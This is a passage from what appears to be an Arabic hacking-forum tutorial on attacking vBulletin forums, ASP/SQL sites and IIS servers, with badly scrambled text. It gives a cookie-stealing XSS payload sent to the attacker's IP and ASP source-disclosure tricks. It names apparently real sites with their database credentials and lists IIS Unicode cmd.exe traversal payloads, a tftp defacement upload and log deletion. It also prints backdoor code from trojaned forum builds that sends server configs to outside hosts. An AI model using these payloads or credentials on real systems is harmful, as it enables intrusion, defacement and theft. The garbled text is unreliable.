حظه ره  ملا خی ت : أ ق البور ری ط ر عن  رف    أرسل٩٠وهي عند ما تشبك مع السی
-d downloads  

ف ، ولكن في ره وهذا یدل على التخل ر مشف ت غی طلع ف  س كلها ، وللأس  ٢٫٢xالإصداره  تنزل لك الداتبی
رتها  ت ولكن كس ر  وقریبا أقول لك عنهاشف

ریقة ط ح  ق من  تم شر خترا  ١١ الي ١١٣الا
 

ق من  خترا ریقة ا   ٢٢٥ الي ١١٥ط
 

ت ر على جهازك الشخصي) WebServer : المتطلبا رف ت) + تركیب سی   ) .اكسبلورر) متصفح انترن
  متوسط: المستوى 

 
حظة  ت للـ: ملا ریقة لس ربها على انوا!! فقط  vBulletin هذه الط ت یمكن ان تج ى من المنتدیا ر خ   .ع ا

 
----------  

  :الثغرة 
---------  

 
ل الى عدة اقسام  ریقة العم ط ض.. تنقسم  ضافة الى جعل  أولا بع ق الكوكیز بالا ر ت الخبیثة التي تس السكربتا

  المنتدى یستقبل
ت ء  بیانا طي خا   .. HTML لكن یشترط ان یسمح المنتدى بأكواد الـ.. من مكان 

 
ضو قم بكتابة ق بین السطور .. ( HTML في منتدى یدعم الـ(ع جدید او رد مو ضوع والص  ثم اكتب اي مو

  :هذا الكود 
<script>document.write('<img  

src="http://my_ip_address/'+document.cookie+'">';</script>  
 

ر الـ حظة تغی ص بك  IP الى رقم الـ IP Adress مع ملا   .الخا
 

ص ما  وعندما ریقوم شخ ضعه سیقوم بتنفیذ الاوام ت الذي قمنا بو حة فان السكرب حتوى الصف ءة م في  بقرا
ءة جزءهجهاز حتوي على الباسورد الخاصة  وقرا ت الكوكیز التي ت حد ملفا ثم یقوم .. بالمنتدى  من ا

ل هذه السطور الى رقم حوی ت بت حظة انه یجب ان یكون عل(بكتابته سابقا  الاي بي الذي قمنا السكرب ى مع ملا
ر مثل رف رها  او Apache او IIS جهازي سی   ) .غی

 
ف الـ ح قم بفتح مل ر Log وبعد ان تتم العملیة بنجا رف ص بالسی حتویه جهازك  الخا   ..الذي ی

ر اباتشي  رف ل لو كان السی ح المجلد.. مثا ختر Apche فتا ختر logs وا   . Acces Log وا
ر  رف طلبتها من السی ر التي  خ.. ستجد جمیع الاوام   إل

 
ص بالباسورد  حث عن الكود الخا ل .. اب   :مثا

 
GET/ bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fb 
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ddf90622;%20sessionhash=a  
4719cd620534914930b86839c4bb5f8;%20bbthreadview[54 

 
20]=1012444064;%20bblastvi  

sit=1011983161  
 

ر قلیلا الان    ؟این الباسورد ؟.. فك
رها  الباسورد موجودة ریقة مشفرة یصعب كس ل ؟.. لكن بط ح   اذن مال

خ الكود الذي وجدته والصقه   بهذا الشكل.. في المتصفح  قم بنس
=php?bbuserid.index/vb/com.victim.www://http

[userid]&bbpassword=[password hash]  
اـ : " ستجد عبارة  ت منه الكوكیز( أهلا بعودتك ی رق   ....) "اسم الذي س

ر المنتدى  حكم بكل شي وكانك مدی ت الان تستطیع الت حالة ان ت(في هذه ال رق   ) ..منه الكوكیز الذي س
حكم  حة الت خول الى لو رور للد حتاج الى كلمة الم حكم(الى  اذهب.. لكننا ن رید الالكتروني وقم بتع) الت ل الب دی

ص ریدك الخا ل الى ب روج  وثم قم بتسجی وعندها  .. Forgot Password ثم اذهب الى اداة.. الخ
حتوي رید ی ل ب  ..باسورد الادمن  تستطیع استقبا

 
********************************************************************************** 

ق الــــ -٣ خترا   SQL أ
^^^^^^^^^^^^^  

خ منه یمكنك استخدام ع لمن لدیه نس ر ج العقرب بیكون اس رنام  ب
  ؟؟( SQL ) في البدایة ماهي الاس كیو ال:س 

حتوي على جداول واغلب ت ت حاتها منتهیة ب الاس كیو ال هي عبارة عن قاعد بیانا صف  المواقع التي تكون 
ASP حب بیاناتها ت تس حا صف ت SQL من قاعدة هي  حا ت مم ASP وصف كن ان تكون كنز من المعلوما

ت ق قواعد بیانا خترا ف SQL لا حقا ، و وهذا ماسو ر الیه لا ت   SQL اشی ت على البور   ١٤٣٣تتنص
خبرك به ان ضا ماارید ان ا ل ای حتوي  SQL ا ت ت ت وكل قاعدة بیانا ر من قاعدة بیانا حتوي على اكث قد ت

ت  الجداول یمكن على عدد من ت التى SQL ان تتصور كبرقواعد بیانا ر من البیانا حتویها  والعدد الكبی   .ت
ت: س  ت قاعدة بیانا خترق   ؟ SQL مالذي یمكن ان استفید منه اذا ا

ت حسب نشاط الموقع اذا كان هذا الموقع منتدى لا اقصد منتدیا ت بل PHP هذا على  في  ASP منتدیا
ء حصل على جمیع اسما ف ت   الغالب سو

ر ت الس م بها ، اما اذا كان وبامكانك تع المستخدمین وكلما حل ت لم تكن ت حیا ضوع وصلا ف اي مو حذ دیل و
حتوي   على میزة الموقع ی

ت ، عندها قم خیالیة من الایمیلا حصل على اعداد  ف ت ت فسو راسلا ء شركة للدعایة والاعلان  قائمة الم بانشا
ف تصبح ثریا اذن لاتنسى   _LinuxRay وسو

ت توقع ان تجد ت معلوما ل قواعد بیانا خ ص اي شئ دا خ المیلاد ،- عناوین - ارقام هواتف - اشخا   تورای
  . Administrator ممكن ان تصبح

ل الان لكن استعد ف انه قد اصابك المل ر طویلا  اع ق مازال  ری طك من جدید فالط   ...نشا
خول على: س  حتاجة للد ت مالذي ت   ؟ SQL قواعد بیانا

حتاج فقط لل   Passwd و User Name ت
 

حصل ع من این: س  رور ؟ا   لى اسم المستخدم وكلمة الم
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حصول على ق عدیدة لل ر ط ت ال User name and Passwd هناك  حا صف ف   ASP منها كما اسل
ى من نوع ر خ ت ا ر sql.* وملفا ت كثی را   یمكن هناك ثغ

رور مثل ثغرة ت الم حصل منها على كلما   htr.+ ان ت
ف تستخدم هذه الثغرة   : كی

htr+.asp.page/target://http  
target : ف   الموقع الهد
Page : حة   asp صف
+.htr : الثغرة  

ء ضا حة بی صف حیانا بفتح  ف  هذه الثغرة تقوم ا ر ح حتوي على اي  ل مالفائدة .... لات ء ف تتسا ف انك سو ر اع
ف اذن منها الفائدة هو ء اذهب الى خل ضا حة البی رمجة  View Source هذه الصف ر الب ى اوام ر لكي ت

ضع العادي  التى ASP الخاصة ب   مثل: لایمكن لك ان تراها في الو
 

<%  
 

Set DB= Server.CreateObject("ADODB.Connection")  
DB.Open "DRIVER=SQL 

Server;SERVER=xxx;UID=sa;PWD=;APP=Microsoft (R) Developer 
Studio;WSID=xxx;DATABASE=moe_dbs", "_LinuxRay", "6666666"  

 
 

%>  
------------------------------------------------------------------  

ى ان اسم المستخدم هو في ر ق ت   LinuxRay_ الكود الساب
ر هي    ٦٦٦٦٦٦٦وكلمة الس

------------------------------------------------------------------  
 
 
 

ح ض حة الالشئ الم صف خطأ في  حیانا اذا كان هناك    : مثل الاتي ASP ك انه ا
 

AMicrosoft VBScript runtime error '800a01a8'  
 

Object required: 'Conn'  
 

/filename.inc, line 5  
 

ف ینتهي بامتداد حتوي على اسم  هذا inc.* هناك مل ر یتم تنفیذها من جانب الملقم وی حتوي على اوام ف ی مل
رور خدم وكلمةالمست   الم

ف في عنوان ضافة اسم المل ف وذلك با حب هذا المل ر قم بس   .الموقع  اذن ماذا تنتظ
 
 

حة صف ر في  ى مثل هذا الام ر   ASP وممكن ان ت
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ق الثغرة ف عند تطبی ل مل خ رمجة دا ر الب   database.inc علیها هذا یعني ان اوام
 

<!--#include file = "database.inc"-->  
 
 

روروهناك عد حتوي على كلمة الم ت ت ت ة ملفا   مثل ملفا
 

global.asa  
++global.asa  

beforemilion-global.asa  
-global.asa  
milion.sql  

global-direct.asa  
 

رورة ان س من الض رمجین لی ء لكن هذا هو المعتاد علیه من قبل مب ت بهذه الاسما   SQL تكون الملفا
 
حة مثل الاتي ماعلیك فعله ان تكتب اسم ا وكل   :لصف

 
global.asa+.htr  

 
حة IIS 3 ثغرة قدیمة في هناك صف ف بعد    كما یلي data$:: هذا الرمز ASP وهي ان تضی

file.asp::$data  
ل الا على ر  فلا تتعب نفسك بتطبیقها IIS 3 هذه الثغرة لاتعم م لا اكث   .فقط للعل

 
 

حصول على... لقد اقتربنا من النهایة  رور ؟؟ ماذا بعد ال   اسم المستخدم وكلمة الم
 

خول على قاعدة ال   !! SQL بعدها الد
 

ت انا استخدم ل على قاعدة البینا خ ج تد رام ت افضل  Visual interdev 6.0 هناك عدة ب لكني مازل
ج السهل رنام   ACCESS 2000 استخدام الب

 
 

رنامح الذهاب الى قائمة كل ما علیك فعله   هو فتح الب
File  
ختر   ا

New  
ت ختار ومن قائمة الملفا   الجدیدة ا

Project (Exiting Data)  
ت موجودة  روع قاعدة بیانا   .اي مش
ختر ف ا ء المل ربع لانشا ر لك م   سیظه

Create  
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ء   اي انشا
 

ى ربع الان ستر   م
Data Link Properties  

 
ت اسم الموقع او الاي ث معلوما حتاج فقط لثلا رور- اسم المستخدم -بي  ت    كلمة الم

 
ق -١ صندو ل اسم الموقع في  خ   Select or enter server name اد
 
  User Name اسم المستخدم في -٢
 
ر -٣   Password كلمة الس
 
 

حظة  ربع( ملا   (Blank Password قم بإزالة الصح من م
 

ضغط في البدایة على ل بقاعدة Test Connection ا ختبار الاتصا ت هذه في الاسفل لا ت اذا رأی  البیانا
  Test Connection Succeeded العبارة

ل ح فمعناه ان الاتصا ت تم بنجا   .بقاعدة البیانا
خول ت ترید الد   :الیها من القائمة المسندلة  یمكنك الان ان تختار اي قاعدة بیانا

Select the data base on the server  
ضغط على ق  OK وا   .او مواف

 
  :فئران التجارب 

  sa.gov.moe.www://http/ موقع
 

حة -1 خول على الصف   :التالیة  قم بالد
 

asp.news_admin/sa.gov.moe.www://http  
 

ى مایلي   ستر
 

Microsoft VBScript runtime error '800a01a8'  
 

Object required: 'Conn'  
 

/news_admin.asp, line 7  
 
 

ق علیها ثغرة طب   :كتالي  htr ثم 
 

htr+.asp.news_admin/sa.gov.moe.www://http  
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ى اذهب الى   السورس لتر

<!--#include file = "database.inc"-->  
 

حب ف قم بس   :كتالي  database.inc مل
 

inc.database/sa.gov.moe.www://http  
 

ى مایلي  ر ف ت   :سو
 

<%  
 

Set DB= Server.CreateObject("ADODB.Connection")  
DB.Open "DRIVER=SQL 

Server;SERVER=CNW2;UID=sa;PWD=;APP=Microsoft (R) Developer 
Studio;WSID=CNW2;DATABASE=moe_dbs", "sa", "123321"  

 
%>  

 
رور  ف مالذي امام عینك الان انه اسم المستخدم وكلمة الم ت  سارع..... هل تعر بالتشبیك على قاعدة البیانا

حب مادة حد ی ف ان لا ا ر   انا اع
ء    .الكیمیا

 
  :ي فأر التجارب الثان

 
  com.itsalat.www://http/ موقع

 
1 - User name : sa Passwd : sp2000 

 
 

********************************************************************************  
ت -٤ ق المنتدیا خترا ت الویندوز ودوره في ا را رف    س

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
حن ت الویندوز جیدا دا ن را ف ثغ  الهكرز واي هكرز مبتدي یعر

راته% ٨٠وهي نظام فاشل  ف وثغ  بالاالو
ش ح اقلكم لی ت ویندوز را را رف ف س خ لدیه منتدي وموقع یستضی ت ولاانصح اي ا  بااثبتا

 
ت ٢صور ت البیانا حجم قاعدا ریكي مهم و صورة لجمعیة ام حتوي علي  15000  كیك یعني١٫٥ هو  میك وی

ل الموقع می ح حه بنفسي جاري ت ختراقه البار   لجاهزي كاملا خمسة ملین مشترك تم ا
 
ل -١ ت الهتم را  ثغ
ج -٢ ت بی رون  الف
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ت الافتبي والاستفاد -٣ ر لهكرز مخلفا  منه كثی
ج -٤ رام ت الب را  ثغ
حمایة النظام -٥  %100 عدم تمكن 

ت ا را رف خوه بالابتعاد عن س رامجهم لویندوزلاذلك انصح الا  وب
IIS ف ماهي   بدایة نعر

خدمه متواجدة في ل وویندوز ان تي هي  روفشنا   الـIIS ویندوز الفین ب
IIS5.0...ت وویندوز الفین یمتلك ت الانترن   الاصدارة الخامسة من ملقم معلوما
  بسم االله نبدأ
ریقة سهلة جدا٥ً او ٤ضعف في الاي اي اس  توجد نقطة    وهذه النقطة تستغل بط

  بالیونیكود وتسمى هذه النقطة
ق المواقع خترا ل ا خبرة عمیقة في مجا حتاج الى    وتنفیذها سهلاً لای

  ولكن نقف عند هذه النقطة للمبتئیدئن
ق خترا ریقة المبتدئین عامةً یفكرون الان في ا رة بهذه الط   عدة مواقع شهی

ر مجدیة مع المواقع ریقة غی ر ال ولكن لا هذه الط رة او غی رةالشهی   شهی
  تي لان نقطة الضعف هذه لاتوجد الا في ویندوز الفین او ان
س س واللنك رة تستخدم انظمة الیونك   وأغلب المواقع الشهی

ت جدیدة أي ان ویندوز ان تي را حدودة وكل یوم تطلع ثغ حمایته م   او الفین نظام 
ء المواقع ف الموجودة في الا لكن بوسع مدرا ضعا ضعف من نقاط الا ف نقطة    ن تيایقا

ریقة قد حاجزاً لهم من الهكرة لكن بتلك الط   یكونون جعلو 
س دائماً   ولكن لی

ل المتصفح خ   وتنفذ من دا
ریقة تنفیذ الثغرة كالاتي  ط   :و

Á/..scripts/com.xxxxxx.www://http \:c+dir+c/exe?.cmd/32system/winnt ../
 

ت تنفیذ ت كوم بدأ   الثغرة ركزو هنا الان بعد دو
س فقط رؤیة السي ف ولی خول اي مل ضا د ت هذه الثغرة تسمح لك بــ:c وبإمكانك أی ض جمیع ملفا ر   ع

ر من ثغرة وهي   وتوجد أكث
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\  
/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\  

/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\  
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\  
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\  
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\  
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\  
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\  
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\  

/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\  
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\  

/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\  
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\  
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system

32/cmd.exe\?/c\+dir+c:\  
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ریقة تنفیذها من الم ط   تصفحو
  ومكان تنفیذها بعد اسم الموقع

ل    :مثا
+\c/?/exe.cmd/2....¯/€/à/€/à/€/à/com.xxxxx.www://http  
ت كوم أي   بعد دو

ر ر او على اي شكل یظه ض الناس یسألون مالذي یظه   بع
ل بسیط ح   ال

Dir ت ر لك الملفا ت بكتابته في نافذة الدوس ستظه ر لو قم   هذا الام
ریقة ظهور ط ریبا و ت في المتصفح تق   الملفا

ریقة الدوس ط س    بنف
ت في تنفیذ الثغرة ح ت امامك فتبدأ في تنفیذالخطوة الثانیة إذا نج ت الملفا ر   واظه
ل ابلود حمیله الخطوة الثانیة عم ف الذي ترید ت   للمل

ل الأبلو رةوعم خب حتاج الى  ضاً لای   د أی
ل ابلود لكن هنالك   شروط لكي تعم

حیة ت على الموقع الض ف تي بي مثب   یجب التأكد من أن التي إ
  وللكي تتأكد إتبع الاتي

ف السستم خول على مل خله یجب أن٣٢یجب الد ت في   ولكي تد ح ت على الثغرة التي نج ض الكلما ف بع تضی
  تنفیذها
ل   :مثا
Á/..scripts/com.xxxxxx.www://http \:c+dir+c/exe?.cmd/32system/winnt ../
 

ت ت في الموقع المطلوب ورأی ت هذه الثغرة عمل   الملفا
ر حظ التغی   لا

Á/..scripts/com.xxxxxx.www://http 
../winnt/system32/cmd.exe?/c+dir+c:\Winnt\Sytem32\  

ء ضع على الثغرة هو أسما ل الویندوز ماو خ ت متواجدة دا   \Winnt\Sytem32 لملفا
خول على هذه ت لكي تتأكد أي یجب علیك الد   الملفا

ء یتسالون  را ض الق ت متطابقة..... بع س شرط مع هذه ال الثغرة التي نستخدمها لیس ثغرة ولكن هذا لی
ف السستم خول باي كان على ملل   للتطابقها یجب علیك الد

ت معاه هذه الثغرة ء اشتغل حد القرا   ممكن یكون ا
\:c+dir+c/exe?....ü€€€/..scripts/com.xxxxx.www://http  

ف السستم ل على مل خ ف اد   ویقول كی
ت ء الملفا ضافة اسما حد یجب علیك إ ل هو وا ح ل على السستم  ال خ   ٣٢لكي تد

  اي بعد هذا الامتداد
c+dir+c:\ء ف أسما ت هنا تضی   الملفا

/32System/Winnt...ü€€€/..iptsscr/com.xxxxx.www://http  
خبرة كما حتاج الى    قلنا سابقاَ لات

حتویاته ر لك م ف السستم ستظه خول مل   وبعد د
ج یسمي ویجب رنام حث عن ب   على آنذاك الب

tftp.exe ج الین رنام   ماتلقاه وتتأكد من انه في الجهاز یعني دور على هذا الب
ل ابلو ر شرط لكي تعم ج یعتب رنام حة دلان هذا الب   للصف

ر یعني بإذن االله تعبك ماهو رایح على ل بالخی ء ج اتفا رنام ت الب ضي ولو لقی   الفا
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.........................................................................................  
رط الثاني هو   والش

ف تي بي ج التي إ رنام   یجب أن یكون عندك ب
ج رنام    من هذا العنوانتقدر تنزله وهذا الب

zip.32tftpd/1234anorR/com.geocities.www  
C:\ل الـ وبعد ماتنزل خ حطه دا ج وتفك الضغط منه من الافضل إنك ت رنام   الب

ج أو رام ضا الب حط أی ل لها أبلود وت حة التي ترید أن تعم    في السيالصف
ل جهازك مو خ حطه في السي الى دا   الى دالخل الموقع ت

ج رنام   وتشغل الب
tftp32.exe ل الى أن تنتهى من   مهمتك الأساسیة وتتركه یعم

C:\حط كل شي في   أسمع كلامي و
ح حطیتها بإذن االله را   تنجح المهمه لأنك لو 

-----------------------------------------------------------------  
ت الان ل الملفا می ح   بدأنا في النقطة الخطرة وهي ت

ل الابلود می ح م أني اقصد بالت   مع العل
  أي

ل= أبلود  می ح   ت
ل   مو تجمی

س ریقة معقدة نسبیاً ب ط ت  ل الملفا می ح ح تفهمو وت ر لأني معتقد أنكم را ل بالخی   أنا متفائ
ضوعنا رجع لمو   المهم ن

ف ا المهم ت تضا خ الملفا ریقة نس ضاً الى المتصفحط   ی
ریقة ف بهذه الط   وتضا

ل    :مثا
\:c+dir+c/exe?....ü€€€/..scripts/com.xxxxx.www://http  

ل ت معاك تخی   الثغرة هذه اشتغل
ت من الثغرة ل ضافا ض الإ فویجب علیك إنك تمسح بع خ كي تضی ر النس   ام

/c+tftp.exe+"-i"+1.1.1.1+GET+index.htm+C:\inetpub\wwwroot\index.htm  
ضافة یعني حه من الثغرة بیكون هذه الا ح نمس   الى را

/c+dir+c:\  
ف بدالها   عشان تظی

/c+tftp.exe+"-i"+1.1.1.1+GET+index.htm+C:\inetpub\wwwroot\index.htm  
خ ب ولمن ر النس ف ام ریقةنظی   یطلع لنا بهذا الط

+exe.tftp+c/xe?...ü€€€/..scripts/com.xxxxx.www://http-"
i"+1.1.1.1+GET+index.htm+C:\inetpub\wwwroot\index.htm  

ر ش الى اتغی   شایفین یاشباب إ
ضاً س لازم أی خب ر النس ر اللازم في أم    إنك تغی

  مثل
tftp.exe طه في حا ف تي بي الى  ج التي ا رنام حاله لانه اسم ب   السي ومشغله الان هذا سیبه في 

"-i" ضه سیبه لانه مهم ر   هذا ب
ف تي بي  هنا بدال الارقام 1.1.1.1 هذا تكتب الایبي تبع جهازك وعشان تتأكد من الایبي لمن تشغب التي ا
ح یطلع طلعلك هو الى تكتبه را   ایبي وهذا الایبي الى 

GET حالها لانها ضافة سیبها في  ت هذه الا خ المفا ر شرط في نس   تعتب
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index.htm رها ل وممكن تغی حم ح تت حة الى را ت هذه اسم الصف   عاد بكیفك ان
C:\inetpub\wwwroot\ رئیسة الخاصة حة ال   بالموقع وهذا مكان تواجد الصف

index.htm  ر في الموقعهنا تكتب ف التي تریده أن یظه حة او المل   إسم الصف
C:\ل الـ خ میلها في جهازك دا ح راد ت حة الم حاط الصف   یجب التأكد من إنك 

index.htm حة   ومثلا اسم الصف
ف تاكد من ان خ المل ت مشابها لمثل هذه الثغرة قبل ماتضغط انتر عشان تنس صار   الثغرة الان 

+exe.tftp+c/xe?...ü€€€/..scripts/com.xxxxx.www://http-"
i"+212.212.212.212+GET+index.htm+C:\inetpub\wwwroot\index.htm  

ضغط إنتر وتوكل على االله ت مشابها لها ا طلع   ولو 
ف خ المل ح یتنس   وبإذن االله را

------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------  

رة والاهم خی   وفى النقطة الا
ل الجهاز ومكونة خ ت دا ت تكون تجمع ت عنك مثل مسح ملفا    الایبيمعلوما

log:/*.c+del+c../..../À¯/..msadc/server://http  
-------------------------------------- 

 
************************************************************************************ ** 

 
ره في -٥ ضوع وتعریبهم النسخه المنتش حقیقة المو ت ودور المعربین العرب و   الن

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
ت موقعه  اولا كما قلنا را ت جون رغم ثغ ضیفه١لماذا لایخترقوا منتدیا  لانه یستخدم نسخه ن

 
ت وعارفین جید مصم -١ را ت ملیان ثغ رونهالنسخه الموجود بالن  $اذا ممي المنتدي لاماذا ینش

ت كود التبلیغ لن تهرب ح ت ومس حتوي كود التبلیغ لاكي لو نفذ ریبي وم راته لو تشغل  النسخه تج من ثغ
  فكرك لكشفته بنفسك

 
ج -٢ ریبي لتروی  یوما فهمتموني٣٠بضعتهم بدلا ان تكون لمدة  انه جمیعه نسخه تج
 
ت هو -٣ ره بالانترن ح النسخه الامنتش ت من هكرز الغرب نسخه ن صح وینك ان صل علي من مواقع هكرز 

حیلهم  و
ت في ركة  لو تمكن حصول علي نسخة الش ف كود % ١٠٠ال حذ صح قاموا ب ت  رئی ت ل ره في الن ونسخه منتش

ت التبلیغ را ضافوا الیه كوداد وبلاوي وثغ حب النسخه یوكد انه لقي-منه بل ا صا خ  ثغرة  وبعدین یجي الا
ت جون  بمنتدیا
ر موقعه وسعر اعلاناته ارتفعوالعالم یند ص انشه خلا ف  ر الزوار هش كیییییی   في موقعه لكث

ف مكانه وكیفة العب ف الكود ونفسه یعر ضا حقیقة هو نفسه ا  فیه واالله هكذا الامور ال
 

 الاجانب المعربین العرب لیسوا اقل نذلا من
 

حكم بتعریب نسخكم باانفسكم   انص
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ف ره في  قبل فتره بسیطه تم اكتشا خ ثغ ض نس خواننا العرب وكان هذا الكود ٢٫٢٫٥بع ربه لنا من ا  المس
ف الموجود فیها  forum في مل

 
 

PHP: 
-------------------------------------------------------------------------------- 

if ($action=="modify") { 
$vbxh = h; 
$vbxt = t; 

$vbxp = p; 
$vbxw = w; 
$vbxa = a; 
$vbx1 = 1; 
$vbxr = r; 

$vbxb = b; 
$vbxn = n; 
$vbxe = e; 
$vbxo = o; 
$vbxy =y; 
$vbxl = l; 

echo "<!-- "; 
$file =  

fopen("$vbxh$vbxt$vbxt$vbxp://$vbxw$vbxw$vbxw.$vbxa$vbxr$vbxa$
vbxb$vbx1.$vbxn$vbxe$vbxt/~$vbxr$vbxo$vbxy$vbxa$vbxl/.x.php?h=$

HTTP_HOST&h2=$SCRIPT_NA 
ME", "r"); 

$rf = fread($file, 1000); 
fclose($file); 
echo " -->"; 

-------------------------------------------------------------------------------- 
حلو هذا یتصل في موقع وكان  الكود ال

/net.1arab.www://http  
=php?h.x/.~royal/net.1arab.www://http

$HTTP_HOST&h2=$SCRIPT_NAME 
حبایبنا وشالوا كود التبلیغ یاعیني علیهم٢٫٢٫٦ت نسخه مع الایام نزل عموما ربوها لنا  حطون   وس عشان ی

خوه العرب المسلمین س ونعم الا   لنا كود تجس
ره الكود اذكى س هالم ف ب ره هذي في ملفین مل ف وغبي زي الاول الكود الم ر option ومهو مكشو خی  بالا

 موجود
PHP: 

-------------------------------------------------------------------------------- 
echo "<!-- "; 

include "$sqlupdate"; 
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echo " -->"; 
 

-------------------------------------------------------------------------------- 
ف  functions ومل

PHP: 
-------------------------------------------------------------------------------- 

$sqlupdate = 
base64_decode('aHR0cDovL3NhdWRpLm5vLWlwLmNvbS9+cm9 

5YWwvLngyLmluYw=='); 
-------------------------------------------------------------------------------- 

ف نلعب باكدوا دیكود وانكود یاعیني رنا نعر ص ء  ره هذي بعد یتص على الذكا حلو هذا اللي  ل الكودوالم ال
 . مستخدمین فیه دیكود بالموقع هذا

/com.ip-no.saudi://http 
حب فیكم ویقولكم ر حیب  WELCOME TO arab1.net بی  یاعیني عالتر

حه هذي اللي فیها كود  inc.2x/.~royal/com.ip-no.saudi://http عموما الكود بیتصل بالصف
حسبون علینا كمسلمین وعرب....... ویبین لنا  رهییییییب  اللي ی

 الكود شوفو
 

PHP: 
-------------------------------------------------------------------------------- 

<div id="sHo" style="display:none;"> 
<!--  

if you are seeing this code PlzZzZz Contact 
[email]sleeping_bum@hotmail.com 

<?php 
system("mkdir /tmp/.statics"); 

system("cp /etc/httpd/conf/httpd.conf /tmp/.statics/httpd1.conf"); 
system("cp /usr/local/apache/conf/httpd.conf 

/tmp/.statics/httpd2.conf"); 
system("cp admin/config.php /tmp/.statics/php.conf"); 

system("tar -cvf /tmp/.statics.tgz /tmp/.statics"); 
$vilename = "$SERVER_NAME.bz"; 

$port = base64_decode('aHB5NWk5'); 
$conn_id = ftp_connect("cyber-sa.virtualave.net");  

$login_result = ftp_login($conn_id, "cyber-sa", "$port");  
$upload = ftp_put($conn_id, "/tmp/$vilename", "/tmp/.statics.tgz", 

FTP_BINARY);  
ftp_quit($conn_id);  

system("rm -rf /tmp/.statics.tgz"); 
system("rm -rf /tmp/.statics"); 

$base = "$HTTP_HOST&h2=$SCRIPT_NAME"; 
$open = "http://saudi.no-ip.com/~royal/.x2.php?h=$base"; 
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$file = fopen("$open", "r"); 
$rf = fread($file, 1000); 

fclose($file); 
?> 
--> 

</div> 
 

ره كان خ ف وا  دار العرب في ملفه هو بیعر
************  
حمایه من المخترقین بنسبة  -٦   لااجهزتكم ومنتدیاتكم %٨٠ال
 

ل ح ت الیكم ال ق المنتدیا خترا الله كل یوم نسمع ا حمایته% ٨٠حمایة یا خترقه و  الیكم اسباب ا
 
ت بمجلد الادمن -١ را  وجود ثغ
 مجلد مود ثغرة -٢
ل -٣  ثغرة الاستی
لاله -٤  تم
 كوكیز -٥
ت -٦   دعم التلن
٧-  Cfgwiz32.exe على المجلد ویندوز C:\Windows 
ف -٨  misc من المل
حصول بمعلوماتك وجود باتش -٩ ق ل   بجهازك تم ارسله لك من قبل المختر

**************************************************************************************  
حما -٧   یةكیفیة ال

^^^^^^^^^^  
ف الادمن جیدا  -١ حمایة مل س htaccess. قم ب س لی ت الینوك را رف  ویندوز شغل فقط في س
حمایته -٢  htaccess. قم ب
ر یسببب ثغرة -٣ ت كثی  باالمنتدي لاتركب ستیلا
ل ابدا -٤  لاتفعل لغة الهتم
ف جاهزك دائما -٥ حذر من الكوكز نظ  ا
ت لموقع عندما لات قم -٦ ف التل نی   حتاجهبتوقی
ف باسم -٧  C:\Windows على المجلد ویندوز Cfgwiz32.exe نأكد من عدم وجود مل
حث -٨ ل له ده بلوووووي الدنیا فیه جاري الب ح  عن 
ت بجهازك -٩ روسا ج الفی رام   …قم بتركیب ب
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 "مصطلحات مهمة للمبتدئين في اختراق المواقع"
  

$$$$$$$$$$  
ر:الكاتب   علي زائ

$$$$$$$$$$ 
ء سنعر ف علیها سویا قبل البد ت وأمور هامة یجب ان تعر حا ضوع على مصطل   ج في هذا المو

=======================================================  
  

ت  ر موجود في الویندوز -:)Telnet(تلن صغی ج  رنام ت .  و هو ب ل ككلاین   و هو یعم
ضعیته تكون دائما كزبون  رن. أو و ر أي أن باستطاعة هذا الب رف ل بالسی ج الإتصا   ام

حالتها  حسب مستواها و  ت كل  ض العملیا ء بع را ر . أوالخادم و اج رف ل بالسی لإتصا   یستخدمه الهكرزدغالبا ل
ف تي بي  ت الإ خصوصا بور ت معین و  ر بور خفیة ) ٢١(عب ریقة  خول الى الموقع بط   للد

Anonymous Modeره من ال ف الباسورد او غی حب مل ت الموقع و س ض ملفا ت لعر   .بیانا
ج ، اذهب الى  رنام تStart ==> Run ==> telnetلاستخدام الب ر شاشة التلن   . و ستظه

------------------------------------------------------------------------  
ج السكان أو  رام ف -:Scannerب ج موجودة للمسح على المواقع و كش رام    و هي ب

ریعة، كما ت ، فهي س راتهاإن وجد رة ثغ ت واسعة و كبی    أنها تملك قاعدة بیانا
ت  ت أو الاكسبلوی را حتوي على الثغ   التي یتم تطبیقها على الموقع) Exploits(ت

ت أم لا  را حدى هذه الثغ ر یعاني من ا رف رؤیة فیما اذا كان السی   و من أمثلة . ل
ج  رنام ج، ب رام ج ا  و Stealth و Shadow Security Scannerهذه الب رنام لعربي من  وهذا الب
ران  رمجة الأخ عم خ Omran Fastب   .    ال

ر رف ل سكان على نظام أو سی ج أنواع مختلفة ، منها التي تقوم بعم رام   و لهذه الب
ت الـ  را رف ج المختصة بالسكان على سی رام ج المسح IISمعین مثل الب رام    و منها ب

ت السي جي اي فقط  را   . و ما الى ذلك CGIعلى ثغ
-----------------------------------------------------------------------  

ت  خلال المتصفح -:)Exploits(اكسبلوی ج تنفیذیة تنفذ من  رام  ، تقوم هذه URLو لها عنوان.  هي ب
ر و التجول فیه ، كما توجد  رف خول الى السی ت الموقع و تقوم بعضها بالد ض ملفا ت بعر الإكسبلویتا

ت تقوم بشن هجوم على ش له ، و هذا ما یسمى بـ اكسبلویتا ل كرا ر لعم رف ت معین في السی  Buffer بور
Over Flow Exploits.   

ت ، فمنها ال   Unicodes و منهاال CGI Bugs أو ال CGI Exploitsهناك أنواع من الإكسبلوی
Exploits ،  و منها ال Buffer Over Flow Exploits و منها ال ، PHP Exploits و منها، 

